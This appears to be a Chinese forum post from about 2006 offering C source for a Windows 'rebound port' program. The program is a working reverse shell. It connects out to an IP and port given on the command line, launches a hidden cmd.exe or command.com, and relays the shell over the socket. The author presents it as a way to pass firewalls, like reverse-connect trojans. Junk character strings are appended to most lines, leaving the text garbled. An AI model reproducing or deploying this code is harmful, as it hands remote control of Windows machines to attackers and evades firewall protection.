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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y~^-I5!_ u  
hGJANA  
/* ============================== KZ@'NnQ  
Rebound port in Windows NT n}/4em?  
By wind,2006/7 M< /  
===============================*/ ziC%Q8  
#include CaR-Yk   
#include 8p_6RvG  
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#pragma comment(lib,"wsock32.lib") zD;k|"e  
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void OutputShell(); lRR A2Kql  
SOCKET sClient; <nc6 &+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vwAtX($  
Q) =LbR{#  
void main(int argc,char **argv) L}6!D zl  
{ 9qUkw&}H  
WSADATA stWsaData; mM.YZUX  
int nRet; 0+F--E4  
SOCKADDR_IN stSaiClient,stSaiServer; !<?<f db  
%Ni"*\  
if(argc != 3) 5GbC}y>  
{ ;OZl' . %`  
printf("Useage:\n\rRebound DestIP DestPort\n"); \3`r/,wY  
return; 33g$mUB  
} Lg{M<Q)4  
}:57Ym)7w  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7 j6<  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wSi$.C2  
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stSaiClient.sin_family = AF_INET; qP]1}-  
stSaiClient.sin_port = htons(0); FG^lh  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sE&1ZJ]7  
/xj`'8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xy r'rm5+b  
{ (AZAQ xt  
printf("Bind Socket Failed!\n"); glLoYRTi  
return; %77uc9}  
} p>B-Ubu  
<Xw\:5 F<7  
stSaiServer.sin_family = AF_INET;  QJ!2Vw4K  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yK-DzAv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &x7iEbRs  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nc6PSj X  
{ 8OiCldw:HN  
printf("Connect Error!"); S%aup(wu6  
return; Ph8@V}80"Y  
} 2M=h:::W  
OutputShell(); <w`EU[y_  
}  1D_&n@  
SP/'4m  
void OutputShell() &8?O ~X=/  
{ G"w [>m  
char szBuff[1024]; [:uHe#L  
SECURITY_ATTRIBUTES stSecurityAttributes; "c\WZB`|  
OSVERSIONINFO stOsversionInfo; 5?Pf#kq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @)U;hk)j;  
STARTUPINFO stStartupInfo; t<o7 S:a"  
char *szShell; W^)mz,%x  
PROCESS_INFORMATION stProcessInformation; CK1A$$gnz  
unsigned long lBytesRead; uehu\umt=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^`k;~4'd  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GUZ.Pw  
stSecurityAttributes.lpSecurityDescriptor = 0; m'QG{f  
stSecurityAttributes.bInheritHandle = TRUE; u /]P  
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sO}CXItC+j  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KA{&NFx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *<X1M~p$  
',K:.$My  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i I`vu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rVP{ ^Jdo  
stStartupInfo.wShowWindow = SW_HIDE; L^*f$Balz  
stStartupInfo.hStdInput = hReadPipe; Bal e_s^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3!$+N\ #w  
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GetVersionEx(&stOsversionInfo); R:$E'PSx  
b b.UtoPz  
switch(stOsversionInfo.dwPlatformId) m2"wMt"*V  
{ * V7mM?  
case 1: 8&M<?oe  
szShell = "command.com"; ="v`W'Pd  
break; eh> |m> JY  
default: r}es_9*~Z  
szShell = "cmd.exe"; YC')vv3o(  
break; H6{Bx2J1*  
} M[~{!0Uz g  
7e\Jg/FU  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |'z24 :8  
{@F'BB\  
send(sClient,szMsg,77,0); = pn;b1=  
while(1) ~M8|r!_  
{ Cf9{lhE8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6 &0r/r  
if(lBytesRead) v? OUd^  
{ 0G6aF"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q ajZ~oB{  
send(sClient,szBuff,lBytesRead,0); #/o~h|g  
} uAqiL>y  
else ' )0@J`  
{ AO>b\,0Me  
lBytesRead=recv(sClient,szBuff,1024,0); Qrt\bz h/}  
if(lBytesRead<=0) break; DxwR&S{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1ANFhl(l  
} y*ZA{  
} :"MHmm=uU8  
fge h;cD  
return; ti (Hx  
}
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